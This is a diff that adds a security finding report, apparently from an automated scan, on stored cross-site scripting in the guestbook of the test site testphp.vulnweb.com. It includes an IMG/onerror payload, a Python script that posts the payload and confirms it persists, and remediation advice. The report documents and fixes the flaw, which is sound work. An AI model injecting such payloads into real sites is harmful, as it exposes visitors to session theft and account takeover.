|
| 1 | +# Stored Cross-Site Scripting (XSS) in /guestbook.php allows arbitrary JavaScript execution |
| 2 | + |
| 3 | +**ID:** vuln-0001 |
| 4 | +**Severity:** HIGH |
| 5 | +**Found:** 2026-03-08 19:29:54 UTC |
| 6 | +**Target:** http://testphp.vulnweb.com |
| 7 | +**Endpoint:** /guestbook.php |
| 8 | +**Method:** POST, GET |
| 9 | +**CWE:** CWE-79 |
| 10 | +**CVSS:** 8.1 |
| 11 | + |
| 12 | +## Description |
| 13 | + |
| 14 | +The guestbook feature stores and renders user-supplied message content without proper output encoding or sanitization. By submitting an HTML IMG element with an onerror handler in the message body, the application saves the payload and later serves it to every visitor of the guestbook page. When the page is viewed, the browser executes the attacker-controlled JavaScript (stored XSS). |
| 15 | + |
| 16 | +This behavior was confirmed by posting a tokenized IMG/onerror payload and observing both a DOM mutation marker placed by the script and an HTTP request triggered by the payload, demonstrating real script execution in the victim’s browser context. |
| 17 | + |
| 18 | +## Impact |
| 19 | + |
| 20 | +Exploitation enables an attacker to execute arbitrary JavaScript in the context of victim users who view the guestbook page. Practical impact includes: |
| 21 | +- Session hijacking, account takeover, or impersonation by exfiltrating session tokens or leveraging authenticated APIs |
| 22 | +- Defacement, phishing overlays, keylogging, or malware delivery via drive-by actions |
| 23 | +- CSRF chaining and privilege abuse by invoking sensitive in-application actions on behalf of victims |
| 24 | +- Persistence of the malicious payload for all future visitors until manually removed |
| 25 | + |
| 26 | +Because the payload executes for every viewer, the blast radius includes privileged operators or administrators who visit the page. |
| 27 | + |
| 28 | +## Technical Analysis |
| 29 | + |
| 30 | +Root cause |
| 31 | +The message body submitted to /guestbook.php is stored server-side and re-rendered into the HTML page without output encoding or HTML sanitization. As a result, attacker-controlled HTML and event handlers are inserted into the DOM and executed by browsers. |
| 32 | + |
| 33 | +Evidence collected (confirmed exploitability) |
| 34 | +- Stored payload submissions: POST /guestbook.php requests recorded (IDs 191 and 207) contain the IMG/onerror payload in the text parameter. |
| 35 | +- Runtime script execution: After submission and page reload, the DOM showed a runtime attribute set by the payload: body[xss_ts="1772997961884"]. |
| 36 | +- Outbound indicator of execution: A browser-initiated GET /xssprobe?ts=1772997961884 was captured (request ID 193), which was issued by the payload’s onerror handler, confirming JavaScript execution. |
| 37 | + |
| 38 | +Render context |
| 39 | +The payload is injected into the content area of the guestbook entry (HTML table cell). Inline event handlers (onerror) are permitted and executed, indicating no sanitization and no effective CSP blocking inline script/event attributes. |
| 40 | + |
| 41 | +## Proof of Concept |
| 42 | + |
| 43 | +To reproduce manually: |
| 44 | +1) Navigate to http://testphp.vulnweb.com/guestbook.php |
| 45 | +2) In the message textarea, submit the following payload and click “add message”: |
| 46 | + <img src=x onerror="document.body.setAttribute('xss_ts','1772997961884'); fetch('/xssprobe?ts=1772997961884')"> |
| 47 | +3) Reload or revisit the guestbook page. Observe that: |
| 48 | + - The payload is stored and rendered in the page markup. |
| 49 | + - The browser executes the onerror handler. Evidence may include a request to /xssprobe?ts=1772997961884 and the DOM attribute body[xss_ts="1772997961884"]. |
| 50 | + |
| 51 | +Notes: |
| 52 | +- Request IDs 191 and 207 are example POST submissions that stored the payload. |
| 53 | +- Request ID 193 shows the browser-initiated GET /xssprobe?ts=1772997961884 triggered by the payload, proving execution. |
| 54 | + |
| 55 | +``` |
| 56 | +#!/usr/bin/env python3 |
| 57 | +import time |
| 58 | +import requests |
| 59 | +from urllib.parse import urljoin |
| 60 | +
|
| 61 | +BASE = "http://testphp.vulnweb.com" |
| 62 | +GUESTBOOK = urljoin(BASE, "/guestbook.php") |
| 63 | +
|
| 64 | +def submit_payload(session: requests.Session, token: str) -> requests.Response: |
| 65 | + payload = ( |
| 66 | + f"<img src=x onerror=\"" |
| 67 | + f"document.body.setAttribute('xss_ts','{token}'); " |
| 68 | + f"fetch('/xssprobe?ts={token}')" |
| 69 | + f"\">" |
| 70 | + ) |
| 71 | + # Send HTML directly (server reflects it as HTML) |
| 72 | + # Some servers accept raw HTML; if HTML entities are preferred, use payload above as is |
| 73 | + raw_payload = f"<img src=x onerror=\"document.body.setAttribute('xss_ts','{token}'); fetch('/xssprobe?ts={token}')\">" |
| 74 | +
|
| 75 | + data = { |
| 76 | + "name": "anonymous user", |
| 77 | + "text": raw_payload, |
| 78 | + "submit": "add message", |
| 79 | + } |
| 80 | + return session.post(GUESTBOOK, data=data, timeout=15, allow_redirects=True) |
| 81 | +
|
| 82 | +def verify_persistence(session: requests.Session, token: str) -> bool: |
| 83 | + # Fetch the guestbook HTML and look for the token within the stored payload |
| 84 | + r = session.get(GUESTBOOK, timeout=15) |
| 85 | + if r.status_code != 200: |
| 86 | + print(f"[!] Unexpected status fetching guestbook: {r.status_code}") |
| 87 | + return False |
| 88 | +
|
| 89 | + body = r.text |
| 90 | + # Evidence 1: token present inside the rendered onerror payload |
| 91 | + marker_in_html = (f"onerror=\"document.body.setAttribute('xss_ts','{token}')" in body) or (f"/xssprobe?ts={token}" in body) |
| 92 | +
|
| 93 | + # (Optional) If you have a capturing proxy or server logs, you can also |
| 94 | + # confirm a GET /xssprobe?ts={token} occurs when the page is viewed in a real browser. |
| 95 | + return marker_in_html |
| 96 | +
|
| 97 | +def main(): |
| 98 | + s = requests.Session() |
| 99 | + token = str(int(time.time() * 1000)) |
| 100 | + print(f"[*] Using token: {token}") |
| 101 | + print(f"[*] Submitting payload to: {GUESTBOOK}") |
| 102 | +
|
| 103 | + resp = submit_payload(s, token) |
| 104 | + print(f"[*] POST /guestbook.php -> {resp.status_code}") |
| 105 | +
|
| 106 | + time.sleep(1.5) |
| 107 | + print("[*] Verifying stored payload presence...") |
| 108 | + ok = verify_persistence(s, token) |
| 109 | +
|
| 110 | + if ok: |
| 111 | + print("[+] Stored XSS confirmed. The payload with token is present in the page HTML.") |
| 112 | + print(f"[+] When viewed in a browser, the onerror handler will execute and request /xssprobe?ts={token}.") |
| 113 | + else: |
| 114 | + print("[-] Could not find the tokenized payload in the HTML source. Try reloading or waiting a moment.") |
| 115 | +
|
| 116 | +if __name__ == "__main__": |
| 117 | + main() |
| 118 | +``` |
| 119 | + |
| 120 | +## Remediation |
| 121 | + |
| 122 | +Server-side output encoding and sanitization |
| 123 | +1) Treat all guestbook message content as untrusted. Encode output for the HTML context using a proven, framework-native encoder. In PHP: |
| 124 | + - Echo user text with: htmlspecialchars($text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') |
| 125 | + - Do not allow inline HTML/event attributes from untrusted input unless passed through a strict HTML sanitizer (e.g., HTML Purifier) with a minimal safe allowlist and URI scheme restrictions. |
| 126 | +2) Remove or refuse dangerous constructs (script tags, event handlers like onerror/onload, javascript: URLs, SVG/MathML active content) if rich text is not strictly required. Prefer plain text storage and rendering. |
| 127 | + |
| 128 | +Defense-in-depth |
| 129 | +3) Enforce a strict Content Security Policy (CSP) to reduce XSS impact: |
| 130 | + - script-src 'self' with nonces or hashes; disallow 'unsafe-inline' |
| 131 | + - object-src 'none'; base-uri 'self' |
| 132 | + - form-action 'self' |
| 133 | +4) Normalize application character encoding to UTF-8 and consistently apply encoding routines at every sink. |
| 134 | +5) Add server-side validation to block payloads containing HTML tags or event attributes if the feature does not require HTML. |
| 135 | +6) Implement security testing and regression tests to verify no stored or reflected XSS is possible in rendering paths. |
| 136 | + |
| 137 | +Operational guidance |
| 138 | +7) Remove any existing malicious guestbook entries from storage. |
| 139 | +8) After fixes, perform a focused retest to ensure that stored HTML is either safely sanitized or encoded and that CSP effectively prevents execution of inline event handlers. |
| 140 | + |
0 commit comments